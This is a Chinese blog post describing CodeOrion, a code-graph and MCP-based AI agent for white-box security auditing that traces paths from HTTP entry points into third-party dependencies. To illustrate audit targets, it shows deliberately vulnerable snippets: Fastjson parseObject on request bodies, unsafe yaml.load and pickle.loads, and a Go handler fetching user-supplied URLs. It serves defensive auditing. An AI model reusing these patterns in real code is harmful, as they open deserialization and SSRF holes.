UzzzzZ

CodeOrion：从代码图到 Agentic 代码审计

Wed, 01 Jul 2026 22:54:36 +0800

AI Agent 对代码审计的影响正在变得越来越明显。

过去做白盒审计时，工具更多是先通过规则、污点分析、数据流分析或代码图查询发现疑似问题，再由安全人员继续确认入口、参数来源、调用链、过滤逻辑、依赖版本和可利用条件。这个流程长期有效，但也有一个现实问题：真正判断一个漏洞是否成立，往往不只看某个危险函数是否被调用，而是要把代码上下文、框架行为、业务逻辑、第三方依赖和验证结果串成一条完整证据链。

AI Agent 的出现，让这件事有了新的可能。它不只是帮人解释一条扫描告警，也不只是把源码总结成自然语言，而是可以像审计员一样持续追问：这个接口是否外部可达？参数是否来自用户输入？中间有没有鉴权、校验或清洗？调用是否进入第三方组件？组件内部是否存在敏感逻辑？这个风险能不能构造请求验证？最终结论有没有证据支撑？

但这也带来一个新的问题：如果直接把大量源码丢给 Agent，让它凭上下文自由推理，它很容易受到上下文窗口、幻觉、路径遗漏和过早下结论的影响。代码审计不能只依赖模型直觉，它需要稳定、可查询、可复核的结构化事实。

这也是我做 CodeOrion 的原因。CodeOrion 不是想再做一个传统规则扫描器，而是想探索一种更适合 AI Agent 的代码审计底座：先把源码、符号、入口、调用关系和依赖边界整理成代码图，再让 Agent 基于这些事实进行查询、推理、取证和验证。换句话说，CodeOrion 负责把代码变成 Agent 能可靠使用的结构事实，codeorion-agent 负责把这些事实组织成审计证据链。

传统白盒代码扫描已经发展了很多年。CodeQL、Semgrep、Joern 这类工具证明了一件事：代码不能只被当成文本扫描，必须被还原成结构。

Joern 的 Code Property Graph 把程序表示成带属性的有向图，并把语法结构、控制流、数据流放到统一的图模型中查询。CodeQL 和 Semgrep 的数据流、污点分析也都离不开 source（输入来源）、propagator（传播规则）、sanitizer（过滤逻辑）和 sink（危险操作）这些基础模型。

这些方向都非常重要。但我在真实代码审计里遇到的问题是：只靠静态规则和固定建模，往往很难以低成本走完整条漏洞判断链路，尤其是跨框架、跨文件、跨依赖和需要业务上下文时。

传统工具可以通过数据流、污点分析和图查询回答一部分问题，但这些能力高度依赖 source、sink、sanitizer、框架和依赖模型的完整度。真实项目里，剩下的大量判断仍然需要上下文推理和证据验证：

这个 sink（危险调用）是否真的能从 HTTP 入口到达？
参数是否来自用户输入？
中间有没有鉴权、校验、清洗、格式约束？
风险是否藏在第三方组件内部？
这个 finding（风险结论）是否能构造出可复现请求？
报告里的结论是否有可追溯证据？

所以我做 CodeOrion 时，没有把它设计成“又一个规则扫描器”。我更希望它成为一个面向 AI Agent 的代码图底座：CodeOrion 负责把代码变成可查询的结构事实，codeorion-agent 负责基于这些事实完成审计推理、evidence（证据）登记、finding（风险结论）输出和 PoC 验证。

一、白盒扫描正在从“规则命中”走向“图谱、证据和 Agent”

在写 CodeOrion 之前，我先看的是白盒代码审计工具过去十几年的演进路线。这个领域并不是从 LLM 出现后才开始做自动化，相反，SAST、数据流分析、污点分析、代码属性图、软件成分分析都已经积累了很长时间。

如果把这条路线压缩成几个阶段，大致是这样：

这条路线说明了一件事：白盒扫描的核心矛盾一直没有变。工具要尽可能覆盖全仓，又要尽可能减少误报；要足够自动化，又要理解复杂业务上下文；要能发现已知模式，又不能被规则库限制住。

1、Code Property Graph：代码图路线已经被长期验证

Code Property Graph 不是一个新概念。Joern 文档里把 CPG 定义为一种用于在大型代码库中挖掘编程模式的数据结构，它以节点、带标签的有向边、键值属性来表示程序构造。Joern 也明确提到，早期 CPG 工作的核心思想是把语法、控制流、过程内数据流等经典程序表示合并到一个属性图里，再通过图遍历 DSL 查询漏洞模式。

这对 CodeOrion 的启发很直接：如果要让 Agent 审计代码，不能只把源码切片塞给模型。源码文本太长、太散、太依赖局部上下文。更合理的方式是先把代码变成图，让 Agent 通过工具查询图。

CodeOrion 和 Joern 的目标并不完全相同。Joern 更成熟地围绕 CPGQL、CPG schema 和多语言前端构建静态分析平台；CodeOrion 当前更聚焦在“面向 Agent 消费”的工程形态上：统一 IR、SQLite 存储、MCP 工具、自然语言查询、跨边界依赖追踪、证据输出。

换句话说，CodeOrion 当前不是完整意义上的 Joern CPG 实现，而是一个面向 Agent 消费的代码图底座。它借鉴 CPG 的统一图思想，但现阶段重点落在 CST、符号、框架入口、依赖边界和可查询证据上。

2、CodeQL 和 Semgrep 证明了 source / sink 模型的价值，也暴露了规则维护成本

CodeQL 的官方文档把数据流分析描述为计算变量在程序不同位置可能持有的值，以及这些值如何传播、在哪里使用。很多安全查询都依赖数据流分析，用来判断潜在恶意或不安全数据是否以危险方式被使用。CodeQL 也区分普通数据流和污点传播：前者关注值是否保持，后者关注值是否受到不安全输入影响。

Semgrep 的污点模式则更直观。一个污点规则需要定义 source（输入来源）、propagator（传播方式）、sanitizer（过滤逻辑）和 sink（危险操作）。Semgrep 文档里也提到，污点会从 source 经过赋值和函数调用传播到 sink；如果中间没有被 sanitizer 处理，就会报告 finding。

这套模型很强，但它天然依赖建模质量：

source 要覆盖所有入口
sink 要覆盖所有敏感 API
sanitizer 要避免过度信任或过度怀疑
propagator 要理解框架、库、容器对象、ORM、模板引擎
跨函数、跨文件分析要在准确率和性能之间取舍

Semgrep 文档里还提到，跨文件分析需要更多内存资源，实际效果依赖语言和规则配置。CodeQL 文档也明确列出数据流图完整性挑战：标准库源码不可见、运行时行为不确定、别名问题、全局数据流图巨大且计算昂贵。

这说明传统规则和污点分析不是“不好”，而是它们在复杂业务项目里需要大量工程建模。CodeOrion 的思路不是抛弃这些能力，而是把 source、sink、sanitizer 从“命中即漏洞”的最终判定降级为“候选事实”和“审计线索”，再由 Agent 结合调用链、数据流证据、框架入口、依赖路径、配置和验证结果进行二次判断。

3、SCA 解决了组件可见性，但还不等于组件风险可达性

OWASP Top 10:2021 把 Vulnerable and Outdated Components 放在 A06。OWASP 的描述很清楚：如果不知道自己使用的所有组件版本，包括直接依赖和嵌套依赖，就很可能处于风险中；组织应该持续 inventory 组件版本，使用 OWASP Dependency Check、retire.js、SCA 等工具自动化这个过程。

SCA 也要区分不同层次。比较基础的 SCA 通常主要看依赖清单、SBOM、包名和版本，输出“项目用了某个有漏洞的组件”。更进一步的 SCA 已经开始判断：漏洞相关方法是否真的被应用调用路径触达。

但“方法可达”仍然不是最终风险结论。

真实审计还要继续问：

这个漏洞对应的方法是否被项目调用？
从外部入口是否能到达这个方法？
项目使用方式是否满足漏洞触发条件？
是否存在配置、参数、Feature、版本分支上的限制？
这个组件是否被 shading、clone、重命名或隐藏依赖绕过普通 SBOM 识别？

近几年的 SCA 研究也在往这个方向走。比如漏洞方法分析关注的就是“漏洞方法是否从应用执行路径可达”，而不是只看组件版本。关于 SBOM 和 SCA 的研究也指出，隐藏依赖、组件变体、代码克隆、依赖重打包会导致漏洞报告不一致或漏报。

CodeOrion 的 dependency_callgraph 和 trace_dependency_calls 就是沿着这个方向做的：我不只想知道项目依赖了什么，更想把项目调用点、依赖方法、依赖内部调用链和 Agent 证据验证串起来。

4、LLM Agent 正在进入告警研判，但不能只做“告警解释器”

2025 到 2026 年，LLM 结合 SAST 的研究明显增多。很多工作关注 false positive reduction（误报过滤）：先让传统 SAST 产出候选告警，再让 LLM 或多 Agent 根据代码上下文判断哪些告警更可信。

例如 QASecClaw 这类多 Agent SAST 误报过滤研究，把传统 SAST 和代码专用 LLM 结合起来，由不同 Agent 负责测试规划、安全验证、证据关联、过滤和报告。另一些研究也在讨论 LLM Agent 对 CodeQL、Semgrep 等工具告警进行 triage（告警研判）的能力。

这些研究说明 LLM Agent 正在进入 SAST 的告警研判和验证环节，但整体仍处于快速探索阶段。现阶段更现实的路线不是让 LLM 替代静态分析，而是让 LLM 基于静态分析、代码图、证据和可控验证环境做辅助判断。

但我不希望 codeorion-agent 只是一个“告警解释器”。如果流程是：

SAST 先吐告警 -> LLM 再解释告警

那 LLM 仍然被传统规则的召回边界限制住。CodeOrion 的路线更接近：

代码图提供结构事实 -> Agent 自己选择入口、路径、依赖、数据流、证据 -> 输出风险结论

这就是 CodeOrion 和 codeorion-agent 组合的关键差异：Agent 不是站在告警后面做客服，而是站在代码图前面做审计员。

二、传统白盒扫描的几个痛点

我把传统 SAST 的问题分成三类。

1、规则硬编码问题

大部分 SAST 的底层逻辑依然离不开规则：哪些函数是 source（输入来源），哪些函数是 sink（危险操作），哪些调用算 sanitizer（过滤逻辑），哪些赋值和函数调用算 propagator（传播规则）。规则是必要的，但规则越多，维护成本越高。框架、组件、业务封装稍微变化，规则就可能失效、漏报或误报。

例如同样是 SQL 注入，在真实项目里可能经过 Controller 参数绑定、DTO 转换、Service 封装、动态查询构造、ORM wrapper、XML mapper、注解 SQL、分页插件、租户插件。单独写一个 “字符串拼接 SQL” 规则，很容易只能覆盖最表层的样例。

2、上下文不足问题

静态分析要准确理解数据流，本身就很难。标准库源码不可见、运行时分派不确定、别名关系复杂、全局数据流计算成本高，这些都是长期存在的问题。真实业务项目还会叠加框架路由、依赖注入、权限中间件、配置文件、消息队列、异步任务等上下文。

这会导致很多扫描结果停在“疑似”。它命中了 source 和 sink，但没有证明入口是否可达，也没有证明中间是否经过 sanitizer，更没有说明这个漏洞在业务语义上是否真的成立。

3、组件风险深入困难

现代应用大量风险不在业务代码的最后一行，而在“业务代码如何调用组件”。反序列化、模板渲染、表达式执行、文件解析、服务端请求、ORM 拼接、日志组件、鉴权框架，这些问题经常藏在第三方依赖的使用方式里。

传统扫描如果只看到项目源码，很容易停在“用了某个包”或“调用了某个 API”。但安全审计真正需要的是：从外部入口到项目调用点，再到依赖方法，再到依赖内部危险行为，这条链路是否成立。

三、CodeOrion 的定位：不直接判漏洞，而是提供结构事实

CodeOrion 的核心定位是多语言代码图系统。它基于 Tree-sitter 把源代码解析成统一 IR，构建 CST 图、框架端点图、依赖调用图，并存入 SQLite。CodeOrion 核心引擎不做“命中即漏洞”的最终判定，而是提供可解释、可查询、可组合的结构事实；漏洞判断由 codeorion-agent 结合 Skill、图查询、源码证据和验证结果完成。

我希望 CodeOrion 回答的是这些基础问题：

项目里有哪些文件、类、函数、调用点？
哪些位置是 HTTP 入口？
某个符号的调用者和被调用者是谁？
某个入口能否到达某个危险 API？
某个项目调用点是否解析到第三方依赖方法？
从项目代码能否继续追进依赖内部调用链？

整体扫描链路如下：

当前 CodeOrion 的主扫描流程包括：

Grammar Registry 注册语言 Grammar
LanguageDetector 识别文件语言
ParserRuntime 调用 Tree-sitter 解析源码
CstGraphBuilder 把 CST 转成统一 IR 节点和边
GraphStore 把节点、边、诊断、符号信息写入 SQLite
可选启用 --framework-facts 提取 HTTP 入口
可选启用 --dependency-callgraph 展开依赖和跨边界调用

这里最关键的不是“扫描出一个告警”，而是把源码变成 Agent 可以反复检索的图谱。

一个传统规则扫描器通常输出的是结论：

发现危险函数 Runtime.exec
疑似命令执行

CodeOrion 更关注过程事实：

POST /api/task/run
  -> TaskController.run
  -> TaskService.execute
  -> CommandRunner.run
  -> Runtime.exec

这条链路比单点命中更接近真实审计的工作方式。

四、MCP：让代码图成为 Agent 的工具

代码图本身不是最终产品。真正有价值的是，Agent 能不能低成本地查询它、组合它、验证它。

CodeOrion 通过 FastMCP 暴露图查询能力。Agent 可以通过 MCP 工具完成项目扫描、符号搜索、入口枚举、调用图遍历、数据流追踪、依赖分析和自然语言探索。

其中我最看重的是 trace_dependency_calls。它支持从 HTTP 入口、项目方法或依赖方法出发，做正向或反向追踪。

这解决的是传统 SAST / SCA 在真实项目里成本较高的问题：组件不是只看“有没有依赖”，而是要看“项目是否调用了相关依赖方法、调用链是否从外部入口可达、用户输入是否真的流向危险参数、可利用条件是否满足”。

例如某个 Java 项目使用了 Fastjson。传统依赖扫描可能告诉我“这个版本存在历史风险”，传统代码扫描可能告诉我“这里调用了 parseObject”。但真正的白盒审计还要继续问：

这个 parseObject 是否接收外部输入？
从哪个 HTTP 入口进入？
中间是否限制了类型、字段或 Feature？
是否调用到了危险反序列化路径？
这个调用是否在真实业务路径里可达？

CodeOrion 的依赖追踪不是为了替代人工判断，而是把这些问题变成可查询的图路径。

五、更理想化的目标：从业务漏洞走向组件 0day 风险链路

我做 CodeOrion 和 codeorion-agent，还有一个更理想化的目标：传统静态代码审计通常更关注“业务代码本身是否写出了漏洞”，但真实攻击面并不只存在于业务代码。

有时候业务代码本身确实存在漏洞，例如把用户输入直接拼接 SQL、直接传给命令执行、直接传给反序列化 API。这个场景传统 SAST、污点分析、人工审计都比较熟悉。

但还有另一类更难的问题：业务代码看起来没有明显漏洞，甚至代码写法在当时的公开知识里是“正常调用”，但它调用的第三方组件内部存在一个非公开 0day，或者存在一个只有在特定参数、特定配置、特定版本、特定运行环境下才触发的深层缺陷。这时真正的问题就变成：

外部输入能否到达这个组件方法？
业务代码是否把高危数据类型、表达式、模板、URL、文件名、对象 key、序列化数据传给组件？
组件内部是否继续进入解析器、解释器、反射、类加载、模板渲染、网络请求、文件系统等敏感逻辑？
如果未来披露一个组件 0day，我能否快速回答“我的哪些业务入口暴露在这条路径上”？
即使 0day 尚未公开，我能否基于组件内部调用链发现异常复杂、异常危险、异常暴露的风险路径？

这不是说 CodeOrion 能凭空“发现所有 0day”。这句话必须讲清楚。0day 的本质是未知缺陷，任何工具都不应该宣称可以自动完整发现。但 CodeOrion 想做的是把组件风险分析从“有没有这个依赖”推进到“业务入口如何调用这个依赖、用户输入如何进入组件、组件内部走向哪些敏感逻辑”。

从审计视角看，这里其实有两条线：

场景	传统关注点	CodeOrion 更想补的部分
业务代码本身有漏洞	确认用户输入是否进入危险 API	用代码图和 Agent 把入口、数据流、调用链、证据、PoC 串起来
业务代码本身无明显漏洞，但调用了高风险组件	组件版本、公开 CVE、是否使用危险 API	追踪业务入口到组件方法，再继续观察组件内部是否进入解析、反射、类加载、模板、网络、文件等敏感路径
组件存在非公开 0day	传统工具通常没有规则或 CVE 可匹配	先回答可达性和影响范围：哪些入口、参数、调用点、组件方法可能受影响

这种能力在真实安全运营里很有价值。

当某个组件 0day 刚被披露时，很多团队第一反应是查 SBOM 或 Maven / npm / PyPI / Go module 版本，看“我有没有用这个包”。但这只是第一步。更关键的问题是：

我是否调用了漏洞相关方法？
这个调用是否从外部入口可达？
用户输入是否进入了关键参数？
有没有配置或运行条件让漏洞触发？
影响哪些接口、哪些业务、哪些租户？

CodeOrion 的理想路径是：

如果 0day 尚未公开，CodeOrion 也可以做更偏研究型的组件风险挖掘：从业务入口出发，找那些“外部可控输入进入复杂组件解析器”的路径，再让 Agent 结合 Skill 做人工可复核的风险排序。例如：

外部 JSON 进入反序列化组件
外部模板进入模板引擎
外部 URL 进入 HTTP client / cloud SDK
外部文件名进入压缩包、图片、Office、PDF、XML 解析器
外部表达式进入规则引擎、脚本引擎、SpEL、OGNL、MVEL
外部对象 key 进入对象存储 SDK

这类路径不一定马上就是漏洞，但它们是高价值审计入口。传统 SAST 更擅长在业务代码里寻找已知模式；CodeOrion 更希望把“业务代码 + 第三方组件 + 组件内部敏感逻辑”的路径暴露出来，让 Agent 和人工审计员能围绕这些路径做更深入的验证。

所以我对 CodeOrion 的长期想法不是“再写一套规则库”，而是做一个面向漏洞研究和安全审计的代码图雷达：

已知漏洞：快速确认是否使用、是否可达、影响面多大
未知漏洞：找出外部输入进入复杂组件敏感逻辑的候选路径
验证阶段：把候选路径变成审计证据、风险结论、PoC 或待复核项

这件事比较理想化，也一定需要长期工程投入。它依赖更强的依赖方法展开、更好的框架建模、更准确的数据流、更丰富的组件风险知识库，以及 Agent 与人工审计员之间更好的协作。但我认为这是 CodeOrion 最值得做的方向之一。

六、一个具体例子：Fastjson 反序列化链路可以怎么追

这里用 Fastjson 举一个更具体的例子。

假设项目里有一个接口：

@PostMapping("/fastjson/deserialize")
public Object deserialize(@RequestBody String params) {
    return JSON.parseObject(params);
}

传统扫描器通常能看到两类信息。

第一，依赖扫描会告诉我项目用了 com.alibaba:fastjson:1.2.x，这个版本可能存在历史反序列化风险。

第二，代码扫描会告诉我业务代码里调用了 JSON.parseObject(params)，而 params 可能来自 HTTP body。

但这还不够。因为我真正关心的是完整风险路径：

外部 HTTP 请求
  -> Controller 参数绑定
  -> JSON.parseObject(params)
  -> fastjson 依赖方法
  -> DefaultJSONParser
  -> ParserConfig / JavaBeanDeserializer / TypeUtils
  -> 可能进入类型解析、类加载或反序列化敏感逻辑

这里必须强调一个边界：调用到 parseObject 或类型解析路径，只代表风险候选，不等于漏洞成立。Fastjson 是否可利用仍然取决于版本、AutoType、safeMode、Feature、目标类型、gadget、JDK、黑白名单和运行环境。

白盒审计里至少要分三层：

层级	说明	是否等于漏洞
调用链可达	A 函数能调用到 B 函数	不等于
数据流可达	用户输入能传播到危险参数	还不一定
可利用条件满足	版本、配置、参数、gadget、权限和环境都满足	才接近漏洞成立

CodeOrion 追这条链路时，会分成几个阶段。

1、扫描项目并打开框架入口和依赖调用图

我会让 CodeOrion 扫描项目，同时启用框架事实和依赖调用图：

codeorion scan --path . \
  --framework-facts \
  --dependency-callgraph \
  --dependency-source-mode auto \
  --dependency-depth 10

这里发生了几件事：

--framework-facts 会把 Spring MVC 的 @PostMapping("/fastjson/deserialize") 提取成 HTTP 入口节点
--dependency-callgraph 会解析 Maven / Gradle 依赖，识别 com.alibaba:fastjson
JVM 侧车会按需分析被项目调用触达的 fastjson artifact
项目调用点会通过 resolves_to_dependency_method 边连接到依赖方法
fastjson 内部方法会以 dependency_method 节点和 calls 边进入同一个图

这一步的关键是“按需展开”。我不需要一开始把所有依赖全量反编译到爆炸，而是先从项目中出现的外部调用目标出发，例如 com.alibaba.fastjson.JSON.parseObject，再去展开相关 artifact。

2、从 HTTP 入口开始追踪

扫描完成后，Agent 可以通过 MCP 先拿入口：

codeorion_get_endpoints()

它会看到类似这样的入口：

POST /fastjson/deserialize
handler: FastJsonController.deserialize
framework: spring_mvc

然后从这个 HTTP 入口正向追踪：

codeorion_trace_dependency_calls(
  http_method="POST",
  route="/fastjson/deserialize",
  max_hops=12,
  include_project=true,
  include_dependency=true
)

期望得到的链路不是一句“发现 parseObject”，而是一组可解释的调用路径步骤：

POST /fastjson/deserialize                                      [HTTP 入口]
  -> FastJsonController.deserialize(String params)               [project]
  -> JSON.parseObject(params)                                    [项目调用点]
  -> com.alibaba.fastjson.JSON.parseObject(String, Class, ...)   [dependency_method]
  -> DefaultJSONParser.parseObject(Type)                         [dependency_method]
  -> ParserConfig.getDeserializer(Type)                          [dependency_method]
  -> JavaBeanDeserializer.deserialze(...)                        [dependency_method]
  -> TypeUtils.loadClass(String, ...)                            [dependency_method]

这条追踪结果的含义是：从 HTTP 入口到 fastjson 相关依赖方法存在调用路径。它还不能单独证明反序列化漏洞成立。接下来 Agent 必须继续检查数据流和利用条件：

用户输入是否真的进入 JSON.parseObject 的 JSON 字符串参数
是否存在 @type 或等价类型控制点进入反序列化逻辑
是否启用了 AutoType 或绕过了限制
是否存在 ParserConfig.getGlobalInstance().setAutoTypeSupport(true)
是否使用了危险 Feature
是否升级到了安全版本或启用了 safeMode
是否存在黑白名单配置
当前 JDK、gadget、依赖版本和运行环境是否满足触发条件

用图表示就是：

这张图里，前半段是业务代码可达性，中间是用户输入到依赖方法的路径，后半段是组件内部风险候选和利用条件验证。基础的 SCA 常常告诉我“fastjson 版本有风险”，传统规则扫描常常告诉我“parseObject 被调用”。CodeOrion 想补齐的是中间这条可查询、可复核的证据路径。

3、从依赖方法反向追踪谁在用它

Fastjson 这种组件风险还有一个常见审计方式：不是从 HTTP 入口正向追，而是先从依赖危险方法反向问“谁在调用它”。

Agent 可以先搜索依赖方法：

codeorion_search_dependency_methods(method_name="parseObject")

找到 com.alibaba.fastjson.JSON.parseObject 后，再反向追踪：

codeorion_trace_dependency_calls(
  start_node_id="<dependency_method_node_id>",
  direction="backward",
  max_hops=12
)

这样可以得到：

com.alibaba.fastjson.JSON.parseObject
  <- JSON.parseObject(params)
  <- FastJsonController.deserialize
  <- POST /fastjson/deserialize

这个能力适合做组件风险排查。比如我想知道项目里所有 Fastjson、Jackson、SnakeYAML、XStream、ObjectInputStream、JNDI、表达式引擎相关入口，不需要先猜每个 Controller，而是可以从依赖方法或危险 API 反推业务入口。反向追踪仍然只是候选收敛手段，后续还要继续确认用户输入、配置条件和可利用性。

4、Agent 不是直接报漏洞，而是登记证据

追到链路之后，codeorion-agent 还不会直接写“存在漏洞”。它会继续把 MCP 结果登记成证据：

register_evidence(
  summary="POST /fastjson/deserialize 到 JSON.parseObject 的跨依赖调用链",
  mcp_tools=["codeorion_trace_dependency_calls"],
  entrypoint_id="<endpoint_node_id>",
  sink_symbol_id="<dependency_method_node_id>"
)

然后再输出风险结论：

emit_finding(
  vuln_type="deserialization",
  title="Fastjson parseObject 接收外部 JSON 导致反序列化风险",
  input_entry={file, line, route, parameter},
  dangerous_method={dependency_coordinate, method},
  dataflow_path=[
    "HTTP body 进入 params",
    "params 传入 JSON.parseObject",
    "跨边界进入 fastjson JSON.parseObject",
    "进入 DefaultJSONParser / TypeUtils.loadClass"
  ],
  evidence_refs=["ev-..."],
  raw_request="POST /fastjson/deserialize HTTP/1.1 ..."
)

这里的 dataflow_path 不能只写“函数调用到了哪里”，还要写清楚用户输入如何进入危险参数。如果只能证明调用链，结论应该标成候选或待复核；只有数据流和利用条件都有证据时，才应提升为确认。

最后，如果目标环境可运行，再由验证子 Agent 或沙箱去验证 PoC。这样一条 Fastjson 风险结论最终包含三类证据：

入口证据：HTTP 入口和参数来源
路径证据：项目调用点到依赖内部方法的追踪结果
条件证据：版本、AutoType、safeMode、Feature、gadget、JDK 和黑白名单
验证证据：原始请求、沙箱响应、人工复核结论

这就是我想表达的“追得深”：不是只看到 JSON.parseObject，也不是把调用链直接当成漏洞，而是把入口、项目调用、依赖边界、数据流、组件内部风险候选、利用条件和证据落盘串起来。

七、Python 和 Go 的组件依赖怎么做

Fastjson 是 Java 生态的例子。Java 的优势是 Maven / Gradle 坐标明确，JAR 可通过 JVM 侧车做字节码分析，SootUp 可以提供 Jimple、CHA、RTA、Qilin 等不同精度的调用图模式。

但 CodeOrion 不是只为 Java 写的。Python 和 Go 的依赖处理方式不一样，因为它们的包管理、源码分发和调用模型都不同。

1、Python：从 requirements / pyproject 到 site-packages 源码展开

Python 项目常见依赖来源包括：

requirements.txt
pyproject.toml
setup.cfg
setup.py
当前虚拟环境的 site-packages

CodeOrion 的 Python 依赖解析会先生成 BuildManifest，识别 PyPI 包、版本和本地路径。对于被项目调用链触达的包，会在 site-packages 中定位包目录，然后按需解析源码。

解析策略是：

举一个 Python 反序列化例子：

from flask import request
import yaml

@app.post("/load")
def load():
    data = request.data
    return yaml.load(data, Loader=yaml.Loader)

传统规则会提示 yaml.load 危险。CodeOrion 更希望追出：

POST /load
  -> Flask handler load()
  -> request.data
  -> yaml.load(data, Loader=yaml.Loader)
  -> dependency_method: yaml.load
  -> PyYAML constructor / loader 内部路径

再比如：

import pickle

def restore(blob):
    return pickle.loads(blob)

Agent 可以从 pickle.loads 反向追踪谁传入了外部 blob，也可以从 HTTP route 正向追踪到 pickle.loads。

Python 的难点在于动态性更强：运行时替换、动态导入、装饰器、框架魔法、运行时对象类型都可能影响精度。所以 Python 侧的策略不是声称“静态全精确”，而是尽量把依赖包源码、函数节点、调用边、入口参数和证据组织起来，让 Agent 能继续读关键源码和做验证。

2、Go：从 go.mod 到 GOMODCACHE，按需展开模块函数

Go 的依赖入口相对清晰，核心是：

go.mod
go.sum
go.work
replace
$GOMODCACHE

CodeOrion 的 Go 依赖解析会读取 go.mod，处理 require、replace、indirect，再从 $GOMODCACHE/pkg/mod 定位模块源码。对于命中的依赖函数，会按需展开模块中的导出函数和方法，并生成 dependency_module、dependency_function、dependency_method 节点。

Go 侧有三级降级策略：

Level 1：tree-sitter-go，完整解析和调用链追踪
Level 2：go/parser 子进程，提取导出符号签名
Level 3：轻量符号提取，仅保留导出函数名等基础可见性，不参与高置信漏洞判断

流程可以画成：

举一个 Go SSRF 风险例子：

func Fetch(c *gin.Context) {
    target := c.Query("url")
    resp, err := http.Get(target)
    ...
}

CodeOrion 希望追出的不是“发现 http.Get”，而是：

GET /fetch?url=...
  -> gin handler Fetch
  -> c.Query("url")
  -> http.Get(target)
  -> dependency_method: net/http.Get
  -> Client.Get
  -> DefaultClient.Do

再比如 Go 项目调用第三方 SDK：

client := storage.NewClient(...)
client.Download(ctx, userControlledKey)

CodeOrion 可以把 go.mod 中的 SDK 模块解析出来，定位 $GOMODCACHE 中的源码，尝试把项目调用点连接到 SDK 的 exported method，再让 Agent 判断是否存在路径穿越、对象存储越权、SSRF、任意文件读取或凭据泄露风险。

Go 的优势是模块和源码路径相对规范，劣势是接口动态分派、泛型、构建标签、平台文件选择、replace 本地模块都会影响静态精度。所以 Go 侧同样采用“结构事实 + 证据链 + 必要时源码兜底”的策略。

八、CodeOrion-Agent：把静态图谱变成审计闭环

如果 CodeOrion 是图谱底座，那么 codeorion-agent 就是审计运行时。

1、通用编码 Agent 做审计的问题

我在做这个项目前，也测试过直接使用 Claude Code、Cursor 这类通用编码 Agent 做代码审计。效果并不是完全不好。它们读代码、总结调用关系、发现一些明显危险写法时，确实经常能给出不错的结果。

但问题也很明显：在不做额外配置、不提供专门审计流程、不约束证据格式的情况下，通用编码 Agent 很容易跑几轮之后就停在一个“看起来像漏洞”的点上，然后直接给出结论。它不一定会继续追问：

这个入口是否真的外部可达？
参数是否真的来自用户输入？
中间有没有鉴权、校验、过滤或类型约束？
这个调用只是调用链可达，还是数据流也可达？
依赖组件的版本、配置、运行条件是否满足？
有没有相邻接口、相似分支、反向调用点需要一起检查？
这个漏洞能否构造 PoC，或者至少能否形成可复核证据？

这不是某一个工具的问题，而是通用编码 Agent 的默认目标不是“完成一次严格安全审计”。它更擅长在代码里完成编辑、解释、修复、重构；而白盒审计需要的是持续怀疑、反复回看、证据约束和验证闭环。

我希望 codeorion-agent 解决的正是这个问题：不让 Agent 只凭一次直觉下结论，而是把它放进一个更像安全审计员的工作流里。

2、Spring Cloud 跨服务调用追踪：一次探索和尝试

前面很多例子默认是单体应用：HTTP 入口、Controller、Service、DAO、组件调用都在同一个代码边界里。真实项目里，尤其是 Spring Cloud 微服务项目，一个外部请求经常会被网关、过滤器、Feign 客户端、WebClient、RestTemplate 和后端服务拆成多段。

这会带来一个很实际的问题：单个服务内的调用链看起来不危险，但跨服务串起来之后，风险才可能完整出现。

我在做 Spring Cloud 相关测试时，关注的不是“能不能扫到某个 Controller”，而是能不能先把一部分跨服务事实整理进代码图，让后续审计有路径可追：

跨服务模式	我尝试抽取的事实	写入图后的意义
Spring Cloud Gateway	`spring.cloud.gateway.routes` 中的 `Path` 和 `lb://serviceId`	知道外部路径会被路由到哪个后端服务
`@FeignClient`	Feign 接口的 `value` / `name`、HTTP 方法和路径	知道服务间代理调用的目标服务和目标接口
`WebClient` / `RestTemplate`	代码里的 HTTP URL、服务名、路径模板	知道过滤器、业务代码或 SDK 封装里发起了跨服务 HTTP 调用
调用追踪	`feign_client_call`、`http_client_call`、`gateway_routes_to` 等边	Agent 可以尝试沿着图边从网关追到后端服务

以一个典型 Spring Cloud 项目为例，跨服务链路可能长这样：

GET /api/admin/users
  -> Gateway route: /api/admin/** -> lb://ace-admin
  -> ace-admin: AdminController.listUsers
  -> UserService
  -> UserMapper
  -> DB

也可能是过滤器或认证逻辑里的服务间调用：

Gateway Filter
  -> WebClient.get("http://ace-admin/api/user/{username}/check_permission")
  -> ace-admin: permission check endpoint
  -> 权限查询 / token 校验 / 用户状态判断

这类链路对安全审计很重要。很多权限绕过、认证缺陷、SSRF、日志注入、内部接口暴露，并不只存在于某一个服务的 Controller 里，而是藏在“网关如何转发”“过滤器如何调用认证服务”“业务服务如何调用内部服务”这些跨服务边界上。

CodeOrion 对 Spring Cloud 的探索仍然保持同一个原则：不直接判定漏洞，而是尝试把跨服务拓扑变成 Agent 可查询的结构事实。

这里也要讲清楚边界：这部分能力还处在探索和尝试阶段，首先解决的是“能不能把服务拓扑和调用候选路径纳入代码图”的问题，不等于已经完整解决微服务调用链追踪，更不等于自动证明漏洞成立。真正的漏洞判断仍然要继续确认请求参数、身份上下文、网关过滤器、服务间鉴权、配置、数据流和验证结果。

但这条路线说明，Spring Cloud 这类微服务架构并不是天然的白盒盲区。只要能把 Gateway 路由、Feign 接口、WebClient / RestTemplate 调用逐步整理成结构事实，Agent 就有机会从单服务审计扩展到跨服务候选路径审计：先找到可能的后端入口，再继续追业务代码、依赖组件和证据验证。

回到 codeorion-agent 本身，它不是“扫描后吐一堆告警”，而是把一次审计拆成一条可追踪的工作流：

这张图对应的是 codeorion-agent 的整体审计闭环。下面几个设计，分别解决“怎么审”“证据怎么落地”“怎么验证”“怎么避免过早收敛”这几个问题。

3、审计方法论

审计不是只有规则，还需要方法论。

codeorion-agent 的 skills/ 目录按语言和漏洞类型组织审计方法，例如 Java SQL 注入、SSRF、IDOR、反序列化，Python 命令注入、路径穿越等。

Agent 可以先加载对应的审计方法论，再按方法论选择 MCP 工具。它不是盲目扫全仓，而是按漏洞类型组织探索路径：

入口点枚举
  -> sink（危险操作）搜索
  -> 调用链追踪
  -> 数据流确认
  -> sanitizer（过滤逻辑）检查
  -> 依赖反向追溯
  -> evidence（证据）登记
  -> finding（风险结论）输出

这让扫描从“规则命中”变成“审计流程”。

4、证据契约

我不希望 Agent 只是在报告里写“根据分析，这里存在漏洞”。

在 codeorion-agent 里，finding（风险结论）必须先有 evidence（证据）。Agent 需要调用 register_evidence 生成 ev-*，然后在 emit_finding 中引用这些证据。emit_finding 会校验证据是否真实存在。

也就是说，报告里的结论必须挂在具体工具结果上：

MCP 返回的 HTTP 入口
调用链追踪结果
数据流追踪结果
文件路径和行号
sandbox（沙箱）验证结果
原始 HTTP 请求

